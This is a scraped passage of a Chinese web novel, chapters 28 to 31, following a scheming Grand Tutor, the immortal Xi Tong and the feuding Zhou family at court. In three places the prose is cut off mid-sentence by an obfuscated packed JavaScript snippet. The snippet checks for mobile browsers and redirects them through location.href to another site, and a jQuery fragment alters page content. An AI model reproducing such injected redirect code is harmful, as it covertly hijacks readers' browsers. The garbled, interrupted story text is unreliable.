“既然无论怎么安排都会遭到质疑与阻拦,那便挑一个真正有能耐,能担起这份差事的人。”赵臻淡然道:“区区一个周潮,我若拿捏不了,还妄谈什么社稷,什么天下?” 众人没有更好的办法,便都点了点头。 “那个……”奚瞳看向赵臻,蓦地开了口:“昭阳王真有那么英俊吗?比你好看很多吗?” 其他几人听此一言,顿觉眼前茶点尚且不够,应该有瓜子的。 赵臻没有回答,只一双眼睛冷得可怕。 奚瞳生出怯意:“爱美之心,人皆有之,我好奇嘛。” 赵臻的脸色还是黑得吓人。 奚瞳回想自己的措辞,好像是有些不妥:“哦,知道了,他不比你好看多少,是差不多的水平,对吗?” 赵臻的神情没有丝毫回暖。 奚瞳叹息,好累,不就说错一句话吗,他可真难哄啊……看来只能采用一些迂回战术了,比如……夸他聪明。 “好看有什么用?昭阳王肯定没有你聪明。”奚瞳道:“周潮这个人,选得好,选得英明。赵臻你真是计谋无双。” 赵臻不说话,张逑是个嘴碎的:“姑娘为何这般笃定?” 奚瞳没有注意到众人眼中的探究,只脆声道:“且不说人与人之间,血脉未必大过恩义。即便就是血脉顶天,周潮对周家忠心耿耿,那又如何,周正那么坏,他不会信任这个儿子的。” “为何?”陆忧不解。 “我听闻……周正同太后不睦,是吗?” 众人看了看赵臻的脸色,没有否认。 “太后是周正的嫡长女,自幼如珠如宝地长大,如今更是抚育幼帝,贵为太后,可仅仅因为她对赵臻有情,周正便对她多有苛责。听说太后的兄长还时常辱骂太后,用词污秽,不堪入耳。太后尚且如此,更何况周潮呢?贱妾之子,多次因行为失据而令家族蒙羞,一朝醒来,他成了政敌帐下之臣。无论他是否真的被赵臻征服,周正都不会再信他的。”奚瞳解释道:“所以赵臻这一招,最差也是他们父子失和,不会更糟。” 奚瞳话音落下,张逑与苏木不免震惊,她对朝局的分析,未免太透了些。而见识过奚瞳挥毫写笺疏的陆忧和林载倒是好上许多,还算平静。 赵臻则冷哼一声,整张脸好看不少。 奚瞳长舒一口气,这该算是翻篇了吧。 临别之际,林载凑到奚瞳身边:“小阿瞳,有机会我带你见见昭阳王,那小子长得确实厉害。” “好呀。”奚瞳双眼亮起来。 “你敢!”赵臻斥道。 林载冲奚瞳眨了眨眼,飞一样逃走了。 待众人离开,奚瞳收拾桌案,赵臻从身后一把将她拉起,随即便强势将她抵到墙上,双臂支在她身侧,将她困在他怀里。 “不许去见他!” “啊?” “不许去见高澜!” “为什么?”奚瞳困惑:“他也同你有仇吗?” 赵臻的双眸有一瞬游离,但很快又盯住奚瞳:“总之不许你见他。” 奚瞳叹息:“知道了。不见……” 可惜啊,就这样错过一个绝世美男,奚瞳心下颇感遗憾。 注:触目见琳琅珠玉,取自《世说新语》。 28.第 28 章 “他同你有仇吗?” 赵臻那一瞬的神游,是因为昭阳王。 昭阳王高澜,赵臻同他非但无仇,相反,高澜对他是有几分恩情的。 当年高宇灭赵氏三族,因这位君王的喜怒无常和残忍暴虐,满朝文武无人敢言,只有高澜竭力劝阻。后来赵臻的母亲瞿梦芙和妹妹赵吟能一时逃脱,成功出城,也是因为当时的城门守将是高澜麾下,高澜有意放了她们母女一马。 虽说赵家祸事未能免除,赵臻的母亲和妹妹也最终被周正捉住,而后惨死。但当年高澜的情分,赵臻是记在心里的。 少年时代的赵臻同现在的他是全然不同的两个人,少年赵臻饱读圣贤诗书,梦想成为世间最为光风霁月的正人君子。 可当他真的血海深仇里滚过几遭,带着满身杀欲重返人间的时候,仁德与儒雅早已不能支撑他活着,他只能信奉铁和血。 昔年皇城赵氏,那个纯真无忧的白衣少年早就化作齑粉,飘散在岁月之中了。 可若提起曾在赵臻理想中长存过的君子之道,若它在这世上还有什么清晰的照影,赵臻会毫不犹豫地想起高澜。 皇族高氏,两百年间,诞生了一代又一代的疯子。 高氏男儿,有人好色成瘾,有人嗜杀成性,他们虐杀臣子、奸/淫臣妇、强抢民女,更有甚者,交/媾/乱/伦。 就是这样一个疯魔又阴森的家族,却孕育了大盈最为出尘的男儿—— 昭阳王高澜,容貌俊美,性情高洁,遇不平事敢直言,豺狼凝视之下亦不畏死。 赵臻自诩多谋善断,有治世之才,但论及品性,赵臻自认,或许不如高澜。 他认可他。 正因为这种认可,赵臻清楚地知道,他这样意图改天换日的佞臣,待他走到至高皇位的那一刻,若有人还能坚守所谓龙脉正统、所谓礼法自然,若有人还敢横剑拦他,这个人一定是高澜。 预见这种结局的赵臻唯一能做的,就是在幼帝登基之后,及早架空了高澜。 以他作为先帝三子,曾被群臣议储,须得提防为由,削去了他手上所有实权,让他做了京中的富贵闲王。 赵臻从不后悔这样做,这对他和高澜都好,至少不必你死我活。 但同为胸怀大志的男子,赵臻对高澜,问心有愧。 所以他不能让奚瞳见到高澜,他怕。 他怕奚瞳本能地弃他而去,去追逐太阳;也怕他为了留住奚瞳对高澜做出更为卑鄙之举。 赵臻思及此处,不由看向奚瞳,这个让她多思多虑的女子。 此时她正坐在书案前,专注地看话本,她还是赤着足,看入迷了,兴之所至,小脚趾会不自觉动一动。赵臻瞧着,觉得有趣。他近来精进不少,虽仍因她这几寸白嫩肌肤心猿意马,但总不至于情动难抑。 他走到她身边,同她并排坐着。 “在看什么?” 奚瞳兴致勃勃:“亡国暴君和狐狸精的故事,他们两个作恶多端,残忍无道,天怒人怨,不得好死,但他们的感情其实蛮好,很有点感人呢。” 赵臻盯住她笑眯眯的双眸:“奚瞳,你有没有想过,我这条路走到最后,一旦失败,也是不得好死,你仍要同我一起吗?” 奚瞳回望他,笑眼的弧度有所收敛,但仍旧是弯的:“成则你做千古明君,我做正义仙女。败则你做乱臣贼子,我做祸国妖人。无非此二者,成败皆痛快。不过我算过了,你前头几辈子都是坏蛋,经受的苦难已经够多,该到享福的时候了,这辈子失败的几率很小。” 赵臻胸中温热,嘴上却是苛责:“又胡说。” “不是啊,我真的算过的,找司命仙娥……算了,说了你也不认识。” 奚瞳坐久了,说到这里,身子忍不住动了动,一双赤足不小心擦到了赵臻的屁股,她浑然不觉,赵臻的耳际却登时如火烧一般。 再一转头,他便看到奚瞳因为托腮而长袖滑落的手臂,光洁如同一段玉藕。 又来了……赵臻胸中含恨,他的小腹又开始不听使唤地发紧。 自从遇到奚瞳,他头一次如此厌弃自己的身体,那一处男性尊严的象征,却也是欲望的孽源。 他的身体岿然不动,但他的灵魂早已经将奚瞳狠狠抵在桌案上,向死一般同她缠绵。 在与情/欲的对抗挣扎中,赵臻用最后的理智霍然站了起来。 “怎么了?”奚瞳被他的动作吓了一跳。 “滚出去。”赵臻的声音喑哑低沉。 奚瞳不情不愿:“可是我还没看完……故事看到一半很难受的,我想……” “我让你滚出去!” 赵臻低声吼道,他怕奚瞳再呆在这里,他真的会忍不住幸了她。可他什么都给不了她,这对她不公平。 多可笑啊,他堂堂太傅,居然在思忖要不要给一个伎子感情上的所谓公平。 奚瞳竟将他变成今天这幅样子,婆婆妈妈,进退维谷,当真是可恨、可憎。 奚瞳哪里知道赵臻心中所想,她只知道赵狗发疯吼她了。 “莫名其妙!”她抱着话本子气呼呼站起来:“我拿回我自己厢房看!反正现在也入秋了天气也凉了我也不再图你什么冰鉴了!你自己呆着吧你!” 走到门口,奚瞳强忍下心头怒气,开始一些自我调整,她一个仙女,跟一个患有一些精神疾病的凡人计较什么呢。 但她还是觉得赵臻喜怒无常的样子很不可爱,于是回头补了一句:“改改你的臭脾气吧!你这样迟早得肝病!” 奚瞳走后,赵臻便入定一般坐在了她坐过的蒲团上。 她的体温尤在,欲念将他灼烧得生疼,他额上渐渐生了细密的汗。 他闭着眼睛,摇曳的烛光像极了他体内的欲/火,他明明关闭了视觉,却仍旧能看到火焰的舞动。 夜那么长,他那么疯狂地渴望。 赵臻不知道他这一夜要枯坐多久,他只知道他体内的情潮同恨一样难熬。 …… 周潮出任黄门侍郎的消息第二天便传遍京城。 是夜,栖梧宫里,红盏为太后周怀淑解下钗环,梳头按摩,自打那天太傅大人进宫之后,太后已经数日睡不好觉了。一双杏眸里,遍布红血丝。 红盏瞧着很是心疼,今日听内侍总管说了家中小少爷的事,她才总算觉得心安一些。 “娘娘,太傅大人心中,还是有您的。否则老爷同他这般剑拔弩张,他怎会放着那么多近臣门客不用,却用了咱们小少爷。” 周怀淑自然不似红盏那般天真,她知道赵臻绝不会被儿女情长左右用人。 但周潮被赵臻招揽,对她来说,终究算是好事,周潮毕竟姓周,日后她也能通过这个弟弟,知道赵臻更多行踪和想法。 “启禀太后!”门口传来内侍总管尖细嘹亮的声音:“大司徒大人到!” 周怀淑皱眉,这么晚了,他来做什么。 到底是亲生父亲,周怀淑起身相迎,可站起来才发现,来的不只是周正,还有周演和周潮,而他们父子三人背后,还有一个娉婷身影。 周怀淑眸底闪过冷光,周韵仪……她怎么也来了。 周怀淑好歹是太后,几人对她草草行了礼,便堂而皇之坐了下来。 “父亲深夜入宫,所为何事?”周怀淑脸上显露出疲惫。 “黄门侍郎一职,赵臻定的是你弟弟周潮,你可知他是如何想的。” 周怀淑摇头:“不知。许是赵臻看中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13093002|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了周潮的才华吧。” “他有什么才华?!”周演道:“这些年他净给咱们周家丢人现眼,赵臻用他,能安什么好心?父亲,我早就说过,这小娼妇身心早已尽数挂在赵臻身上,哪里还会为咱们周家考虑一点?!问了也是白问。” 周怀淑胸中生出浓浓浊气,可终究忍了下来,至于周潮,更是全程低着头,宛若木头。 周正没有责备周演对长女的辱骂,只开口说道:“潮儿,黄门侍郎是要紧职位,你如今做了,是你的造化,为父将你辛苦养大,你莫要忘了你是周家之人。” 周潮点点头,无人看清他的表情。 周正表情转暖,看一眼周韵仪,转头对周怀淑说道:“还有一月就是中秋夜宴,届时你妹妹会于飞鸾台献舞,你寻个机会,将她带到赵臻身边。” 周怀淑胸中浊气终于突破喉头,恨声道:“父亲这是什么意思?!是要我给赵臻塞女人吗?还是这种贱妾所生的女儿?!” 周怀淑气急败坏,周韵仪却不恼,面上只有讥讽冷笑。 周正拍案:“周怀淑!你以为你做了太后,就可以在为父面前放肆吗?!我告诉你,周家没了你,有的是女儿!皇后!太后!一样做得!至于你,好好掂量掂量,能不能没有周家!你这些年污名在外,我周家还认你,已然宽宏,你最好放聪明些!” 周怀淑的双肩颤抖起来,眼眶里蓄满了泪。 周韵仪则伸手放在了父亲的小臂上,安抚道:“父亲莫要动气,深宫寂寞,先帝为人……呵……又有些没分寸,长姐这些年过得苦,一片真心皆给了太傅,听闻此计,难免失态。父亲同她计较什么呢?” 说完,周韵仪又看向周怀淑,眼底带着笑:“长姐也莫要激动,我接近赵臻,说到底是为了咱们周家。赵臻孤身多年,身边早晚会有女人,与其是别人,还不如是我。好歹我是你亲妹妹,总不会害你的,是不是?” 周怀淑恨得颈间的青筋都露出来。 周韵仪笑意更深:“更何况,若不是姐姐,如今太后的位子,本应是我的。拿走一样,还回一样,天道如此。姐姐放心,我不是你,不会强占旁人的东西。赵臻的心也好,身子也罢,妹妹不介意同姐姐分享。” 周演点点头:“还是韵仪懂事,真不知我上辈子造了什么孽,竟与周怀淑一母同胞,若我亲生妹妹是你便好了。” 周韵仪的双眸变得真挚:“兄长这话说的,妹妹是父亲的亲生女儿,自然就是哥哥的亲生妹妹,是否同母,又有什么关系?” “好。好。”周演感动点头。 周怀淑的双目猩红,双手紧握,指甲恨不得掐断。 说完要紧事,周家众人离宫,一直没有说话的周潮在栖梧宫逗留了一会儿。 他握住周怀淑的手,看她的眼神透露出痴态:“长姐,整个周家,只有潮儿懂你此刻的伤心。你放心,父亲兄长不疼你,潮儿疼你,日后潮儿就在宫中了,一定会对你好。” 周怀淑望向周潮丑陋的长满痤疮的脸,一阵恶心,她狠狠甩开周潮:“放肆!本宫贵为太后,岂是你这贱妾之子可以攀附、同情!滚出去!滚出去!!!” 周潮也不反驳什么,只乖乖起身,退了出去。 走到栖梧宫外的长廊上,他才将方才握着周怀淑的手抬到自己的鼻子之下,轻轻嗅着她的体香。 随着这个动作,周潮的吊梢眼里尽显得意。 周家算什么东西,赵臻又算什么东西,他要一步一步地往上爬,他要得到权力、得到钱财、得到他从小便深深爱慕的貌美无双的长姐。 他回头深深望了一眼栖梧宫,长姐,你早晚都是我的。 这世上只有我懂你,也只有我爱你。与你是不是娼妇,都没有关系。 29.第 29 章 自那日赵臻冲奚瞳发了脾气,奚瞳便与赵臻冷战起来,饭也不一起吃,见面也不说话,奚瞳端起了架子,赵臻也不示弱,两人就这样僵持着。 本来就是不宜见面的气氛,可偏偏这两天太后心疾犯了,赵臻也不上朝了,成日呆在家里,同奚瞳臭脸对臭脸。 这可为难了小老虎,它每每远远看见奚瞳,都想跑过去蹭一蹭她,但转念一想,它喵生还是要靠赵臻吃肉,还是得顾及他的情绪,于是只能怏怏趴在窗边晒太阳。 这天暗卫掌使十三来了,赵臻终于有了正事做,小老虎这才跑到奚瞳的厢房。 奚瞳正同紫虚铺了一大摊子面粉馅料,准备做月饼。 小老虎闻到香味,忍不住“喵”一声,奚瞳看见它,笑了笑:“你怎么来了?这些东西你不能吃哦,待会儿我忙完给你弄点小鱼,好不好?” 小老虎闻言打了个滚,继而就乖乖躺到了奚瞳腿边。 奚瞳有感而发:“哎……你爹要是跟你一样通人性就好了。” 紫虚忍俊不禁:“姐姐这话说的,太傅大人又不是猫狗。” 奚瞳咬牙:“他猫狗不如!” 书房里的赵臻只觉得鼻根有些发痒。 十三站着,打量赵臻,忍不住说道:“主公这些日子,像是胖了一些。” 之前的赵臻总是消瘦,配上过于俊美的面容,活像一具艳鬼。可十三发觉,自打虹州一行,主公身上多了些斤两,也就多了些人间烟火气,显得温润许多。 赵臻被这话一点,难免神思流转,他六欲淡薄,对吃食素来不挑,能果腹就行。 可奚瞳爱吃,自打她来了,就总和紫虚在厨房研究花样,每餐菜蛋肉汤面面俱到。每一餐的量也都是她计算好的,吃下去饱而不撑。久而久之,赵臻被她调/教的变了性子,觉得吃饭同原来相比,逐渐是件有意思的事了。 即便这几天他们二人生着气,奚瞳也依旧很关注他的饮食。她每日来收吃饭的盘子,若看到还有剩余,便会耷拉着一张脸问他:“你知道你这点剩饭,农人要在烈日下辛苦多久吗?就你这样还想要执掌天下?我要是农民我迟早起义,推翻大盈暴政。” 赵臻闻言,就会重新走回到饭桌前,将剩饭老老实实吃完。 规律而丰富的饮食之下,很难不胖吧。 赵臻心中涌上一种很奇怪的情愫,他近些年回想赵家种种,总是回想起他从天机山回来那一幕,好好一个家,变作乱葬岗,残垣断壁,尸身横亘。 可最近,他想起小时候,那些还没去天机山,承欢父母膝下的日子。 赵家虽是大户人家,厨肆里有的是下人,可父亲还是最喜欢母亲做的饭。每每下衙回来,总会央着母亲下厨,给他做一道小菜。 所以吃饭这件事,是很亲很亲的人才会插手之事。 这样一想,赵臻觉得通体之中,暖意横生。 “主公?”十三口干舌燥说了半天,才发现赵臻走神了,不由出言提醒。 赵臻思绪从回忆里挣脱,调整了一下坐姿:“继续,你方才说越阳王?” 十三点头:“越阳王高江,于越地秘密练兵,这次中秋回京,怕是会有动作,而且我们还截获了他与京中往来的书信,当中一封,是周演的手书。周家这是病急乱投医了,当年越阳王没能留京,他周家也是出了力的,如今他们居然想同越阳王合作,怕是痴人说梦。” “呵……”赵臻讽笑道:“越阳王对周家来说,未必不是一条路。同样是想要皇位,周正岂会不知,我比高江难对付。高江自然也觉得从高澈这个黄口小儿手里抢东西,远比从我这里抢来得简单。敌人的敌人就是朋友,没什么好意外的。” 赵臻和周正隔着血海深仇,但有一桩事,他们二人却是合作过的——两年前,逼先帝长子高江远赴藩地,扶持周皇后之子高澈登基。 周正是为了稳固家族的威望的势力,扶持有一半周家血脉的高澈理所应当。而赵臻这样做,被天下人理解成他同周后确有私情的证据,更有甚者,怀疑幼帝根本就是赵臻的孩子。 但其实赵臻也只是为了省事而已。 虽是同父,但高江与高澈年纪差得很多,已经年过不惑。他若继位,赵臻不是扳不倒他,但要多费很多心力。先不论高江这些年积累的政治资本,单就对方占着礼法正统,就够朝中这些文人大做文章。可若皇位上是个孩子,便省力很多。况且他还是周家的孩子。 扶持他的时候,周家会来帮忙。 除掉他的时候,赵臻也不会有道德上的压力。 “主公可有对策?” “不急。”赵臻闲适地饮一口茶:“因利相聚,自然会因利相间,也终会因利而散。周家蝇营狗苟,可不是什么舍得之人,先静观其变。” 十三点头,又道:“还有,主公要属下查的那桩事,属下查了。可您确定是叫那个名字吗?长秦?” 赵臻抬眸:“怎么?” “咱们的眼线遍布十六国,再远,便就要跨海而渡了。您指令一下,属下便传令下去,近日各处回函,都说从未听过什么名叫长秦的小国,莫说小国了,叫这个名字的城郭都不曾有过。主公确定是这二字无误吗?” 赵臻垂首沉吟。 这个结果并非太过出乎赵臻预料,奚瞳看似憨直,实则聪明,甚至慧黠,她嘴里跑马车,故意骗他,他并不意外。 可令他意外的是,听闻了这个结论的此刻,他却不想责备奚瞳,不想戳穿她的谎言。 如果谎言能让她像现在这样留在自己身边,他可以睁一只眼闭一只眼。 “主公?还查吗?”十三看赵臻的神情,有些拿不准他的态度。 赵臻没有太多犹豫:“算了,不查了。” …… 八月十三,奚瞳起得很早,她顶着一双睁不开的睡眼走到院子里,左右伸一伸懒腰。 可很快,她脸上就流露出笑意,眼睛弯起来。 大盈都城就是这点令她最喜欢,到了八月,满城桂子飘香,家家户户都能闻见这样的好味道。 桂花糖、桂花酪、桂花米酿、桂花圆子……这些美味一一在奚瞳脑海中浮现。 她肚子“咕咕”叫了两声,继而便朝厨房吼道:“小六子炉子烧起来了吗?我要烤月饼啦!” 赵臻和林载未时下衙,回到太傅府时,便闻到一阵阵的甜香,再往里走,就看到院子里石桌上摆了一摞摞的锦盒。 “看来是咱们小阿瞳又出奇招了。”林载满脸笑意:“今天想必有口福。” 赵臻冷眼看向林载,林载打一个寒战:“行行行,奚瞳。” 赵臻面色不变,林载翻了个白眼:“奚姑娘!奚姑娘行了吧!” 赵臻这才继续往前走。 走进书房,奚瞳已经端坐着等在那里,眼前是打开的食盒,盒子里是六个花形月饼,但仿的事不同的花,“花蕊”和“花瓣”也染了不同的颜色,看上去很是精美。 见赵臻进来,奚瞳清了清嗓子,开门见山:“赵臻,我们两个冷战已经长达十三天了。我想了想,虽然是你发疯在先,但我这样同你较真,也有点小题大做。我知道以你的官位和个性,同我道歉实在是有点为难你。所以我决定先迈出这和平的一步,咳咳,我们和好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵臻无奈,拿起一颗,咬了一口,咀嚼几下,不禁挑眉。 如今世道艰辛,农人耕种,商贾奔波,工匠劳苦,为了能为身体提供更多力量,民间的点心都很舍得放甜菜汁水,也就做得过于甜。而到了世家大族,他们不缺银钱,蜂蜜代替了甜菜,但为了炫耀门楣的高光富贵,点心之中蜂蜜多多益善,便也很腻口,须得配茶才好。 可奚瞳的月饼,馅料细腻,甜度极淡,越嚼越香,就连赵臻这种对食物没什么要求之人,都觉得十分好吃。 林载看到赵臻的表情变化,便也拿了一块,不久便惊道:“娘的这也太好吃了吧!” 奚瞳扬眉,他们天庭这些做神仙的,千万年地活着,能持久的爱好统共就那么几样,吃是排第一位的。 “六个味道。豆沙、枣泥、红薯、板栗,椒盐,奶香。我都尝过了,都很好吃。”奚瞳自得道:“太傅大人,这份手信,应是拿的出手吧。” 赵臻见她这般认真热情,不由又有些恍惚,父亲也很爱吃,家中经常摆酒席,招待客人。如果他还在世,应该会很喜欢奚瞳。 “嗯。”赵臻最终点了头:“回头我让十三给他们送去。” 两人对话之际,林载已经吃到第四个了,他认真端详着月饼:“这手艺真厉害,后天中秋夜宴,我怕是吃不惯宫里的月饼了。” “中秋夜宴?”奚瞳来了兴致,凑到赵臻跟前:“那个……宫里的宴席好吃吗?” 赵臻看着她莹润的双眸,心头有一处渐渐软作春水:“想去?” 奚瞳点头。 30.第 30 章 奚瞳看着铜镜里的自己,不知该喜该忧。 赵臻答应她带她去宫宴,但要她女扮男装。 她一开始对这个提议不屑一顾,她不相信这个世上有可以不被识破的女扮男装,直到此刻,她看到了镜子中的自己。 确实很难看出是个女的,因为太!难!看!啦! 而且是独属于男子的难看,这种难看着眼于皮肤的色调以及质感。 妆面是小六子画的,他用脂粉兑了锅灰和松子油,调了一个像是在太阳地理暴晒了八百年的颜色,涂到了她的脸上。又用碳灰掺了松花粉,勾勒出一双过于粗大的眉毛,从而完全让人忽略了她五官中唯一值得细看的眼睛。 很朴素的化妆招式,很致命的杀伤力,真可谓大道至简。 奚瞳:“六啊,在厨房办差,你屈才了。” “姑娘过奖。”小六子得意极了。 一向好脾气的紫虚也忍不住皱了眉头,她认真盯住小六子:“答应我,今天我们进宫后你把厨房好好打扫一遍,我竟不知堂堂太傅府的厨房竟能找到这么多种类的灰。” 小六子的得意变作赧然。 奚瞳左右转转头,反复打量自己的“妆容”,不由叹息,行啊,就这样吧。为了吃上口好饭我也是付出了所有。今晚可千万别下雨啊,要不然山体滑坡就会在我这张脸上发生。 …… 书房里,林载正和赵臻叙话。 赵臻有些心不在焉,他一时兴起答应了奚瞳带她去宫宴,但回想起来又有些后悔。 一是他如今政敌太多,他明面上的近臣和门客,对手们了解的很清楚,可蓦地出来奚瞳这样一个生面孔,又是个女子,怕是会招致一些麻烦。 其二便是,赵臻很不愿意承认,他不想别人看奚瞳,一眼他都觉得难受。上次苏木张逑他们来见过奚瞳后,他心里就别扭了好一阵子,如今却要将她带到人员冗杂的宫宴上。他不喜欢。如果可以,他想她永远呆在太傅府,更甚者,他想她永远呆在他起居之地,比如……卧房。 赵臻心乱如麻,他总觉得在面对奚瞳时,他体内的兽性蠢蠢欲动,一不留神,便会压过人性,这使得他整个人都卑劣不堪。 赵臻虽思绪纷乱,但面上镇定从容,林载自然没有察觉到他神游天外。今日宫宴,宫城需要布置戍卫兵吏,这是林载的活儿,他本不应出现在太傅府,之所以过来,是为了他妹妹。 “棠棠回来了。”林载直截了当:“父亲和叔父有意让她嫁给你,她今晚怕是会被逼着做些亲近你的事,你若不喜,婉拒便是,但别太显山露水。棠棠性子纯直,不懂朝廷里的虚与委蛇,更不懂女子之间的勾心斗角。我不想她被卷入争权或者争宠的风波。” 赵臻看了林载一眼,林家的当家人是林恕,他只有一儿一女,就是林载和林棠。赵臻同他们兄妹算是自幼一道长大。 林恕虽未入仕,但他是当朝有名的大儒,在文人墨客之间很有威望。只可惜他一双儿女并没有继承他爱读书的性子,兄妹两人都尚武。林载年纪轻轻就打遍京华无敌手,在赵臻的扶持下,做了禁军统领。林棠则去了同天机山并称“剑道双宗”的揽月山学艺,时至今日,已经五年。 赵臻清楚,林恕不曾做官,不是因为他想要离尘避世,而是因为他看不上高氏皇族。林恕其实是很有野心的。 所以他才会在赵臻回京、家人亡尽、一无所有之时,站到了他的身边,当中有出于道义、对老友之子的帮扶,但更多的是出于对赵臻的了解、从而做出的政治投资。 联姻,显然是林恕向赵臻寻求保障的一种方式。 林棠……赵臻想着,其实有朝一日,他若娶妻,放眼京师,林棠真的是很合适的人选。 赵林两家亲厚,他娶林氏女,顺理成章,在朝廷或坊间,都不会有太多阻力。 而且无论是品性,还是能力,林棠都是很出色的女子。而且她同他一样,对剑道有所痴迷,应比别人同他更聊得来些。两人若是结为夫妇,相敬如宾,应该不难。 最重要的是,如果拒绝这桩婚事,恐怕会让林恕心中生出一些龃龉。 所以赵臻知道自己应该说什么,这时候他应该说“林棠愿意吗?若她愿意,这桩婚事未尝不可”。 可他脑子里不断闪回奚瞳的脸,于是这句话就梗在了喉头,刮得他喉咙生疼,但无论如何也说不出口了。 他转念又想起前两日奚瞳那句“你放心,我不会嫁给你”,他心里顿时生出怒气,还有一些类似于委屈的情绪,一个下贱的伎子,竟将他掣肘到如此地步,已是可恨,可偏骗她还嫌弃他,她凭什么?! “主公。”十三听闻林载所说,顺势开口:“咱们在周家的眼线也传来消息,说是周家有意想将次女周韵仪许配给您。今夜周二小姐也会入宫赴宴,还望主公早做打算。” 林载闻言一愣:“周韵仪?!周家这是想做什么?!一头儿连络越阳王,一头儿又要把女儿卖给赵臻,这是打的什么算盘?” “呵。”赵臻眸底寒凉,嗤笑出声。 十三:“可能是希望周二小姐打动主公,以儿女情长软化主公吧。” 林载看赵臻一眼,周韵仪确实姿容出众,和周怀淑两姐妹有“一门双姝”的雅号,这些年她待字闺中,求亲之人踏破周家门槛,若是寻常豪杰,周正这招说不定真能奏效。但他面对的是赵臻,且不说赵家满门因周正而死,即便没有这一出,赵臻他也不好美色这一口啊。否则他也不会对奚瞳那个平平无奇的丫头感兴趣。 “赵臻,我们什么时候出发?”林载刚想到奚瞳,她清脆的声音就自门外传来。 赵臻闻声转头,便看到一个相貌粗糙的清瘦少年朝自己走来。 赵臻眯眼,说相貌粗糙还是保守,准确地说,是有些难看了。 林载咋舌:“小阿瞳,是你自己要打扮成这样吗?” 奚瞳抬手,原地转了个圈,以此展示裴鸣翻遍库房,为她寻到的唯一一件算是合身的男衣。 这衣服深枣红色,衬得她被画的暗黄的脸面更加暗黄。 “怎么样?”奚瞳视死如归:“是不是觉得世上的美人千篇一律,但丑人各有各的丑法?” 林载被逗笑:“我以为你只对赵臻说话难听,原是对自己也不客气。” 赵臻嘴角也弯起一个隐约的弧度:“不丑,能看。” 申时两刻,一行人坐着车辇往宫城走。 “赵臻,我今天是什么身份?” “门客。” “门客?” “怎么?” 奚瞳意外:“我还以为你要让我当小厮之类。” “你不是说过吗,以你的才华,应该做门客。” 奚瞳这才想起,之前她和赵臻斗嘴时,埋怨过陆忧将自己当做伎子而非门客。 奚瞳觉得自己心中有处地方蓦地软了一下,赵臻还是挺上道的嘛! 车辇行过宫门,又走了好长一段路,终于到了中秋夜宴之地。 这是一处极大的宫苑,名为飞琼苑,苑中有广阔高台,是汉白玉所筑,名为寒酥台。今日朝廷百官,便是携了家眷,在寒酥台的外围搭起筵席,宴饮同欢。而寒酥台的中央,则是乐府准备的歌舞,供诸君欣赏。 赵臻来时,寒酥台上已经坐了不少人,见他来了,众人起身行礼。 大家起初对奚瞳未曾注意,只当是伺候赵臻的侍从,直到赵臻入了席,径直让这小子坐到了他的身边,众人才对她的身份好奇起来。 “太傅大人,您身边这位,有些面生啊……” 只这一问,赵臻心里就有些烦闷,可事已至此,若对奚瞳的身份有所含混,反倒麻烦,于是便道:“门客。” “哟,太傅大人眼光一向高,能入您慧眼的,怕不是凡人。这位小公子人不可貌相啊。” “是啊。”有人附和:“不知小公子有何所长,策论清谈、经史子集、诗词歌赋还是琴棋书画?” 奚瞳没做太多思考,照实回答:“算是都会一点。” 这句话一出,众人不禁瞠目,这小子,挺不谦虚啊。 赵臻无奈一笑,他倒是也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“赵臻,我跟你说,你还年轻。这世上善良的好人一抓一大把,惊艳的美人却是可遇不可求。而且太后娘娘心里有你……你……” “你希望我心悦周怀淑?”赵臻冷言打断奚瞳。 “嗯?” “你希望我同她在一起?一起吃饭,一起读书,一起写字,一起下棋,一起睡觉?一起做更多更为亲密之事?” 奚瞳听此一问,难免怔愣。 吃饭读书、写字下棋,都是她现在同赵臻时常一起做的事,虽然做这些事的时候两人很少交谈,但奚瞳已经有些习惯了每日度过这样静默而闲适的黄昏和夜晚。 至于睡觉……她和赵臻也一起睡过几次,那是夏天的时候,她贪图他房里的冰鉴,就宿在他房里。虽说不能像在自己厢房那样只穿小衣,但赵臻不打鼾,睡相也很好,而且在冰鉴房里呆久了会冷,冷了就往赵臻身边凑一凑,他的体温中和冷意刚好。 如果赵臻同太后在一起,这些事,就要他们两人一起做了…… 奚瞳想着想着,原本因为兴奋和好奇而满是光彩的眼睛渐渐暗淡下来,她也不知道她为什么会这样。 她此番下界,明明是想帮赵臻得到一切,得到一切他想要的,一切最好的。 可如今他身边出现了这么好的女子,她却有些犹豫了,这是为什么呢…… 奚瞳发呆的时候,内侍们已经为百官布好了菜。 赵臻给奚瞳夹了一块梅渍牛肉:“吃吧,少说话气我。” 周怀淑关注着赵臻,他身边坐了一个小子。 她的眼睛望向奚瞳,流露出俾睨的杀意。 为什么,为什么这样一个平凡甚至丑陋的少年,却被赵臻用那样的眼神注视着。 自她来到寒酥台,赵臻的眼神未在她身上有过有片刻停留;在过往的岁月里,赵臻也从不曾像看这个少年一样看过自己。 赵臻看那少年的神情,分明……分明是宠溺的。 这小子到底是什么人…… 31.第 31 章 “哈哈哈哈哈!” 众人的交谈被一阵浮夸洪亮的大笑声打断。 奚瞳的神思从梅渍牛肉上离开,她看向来人。 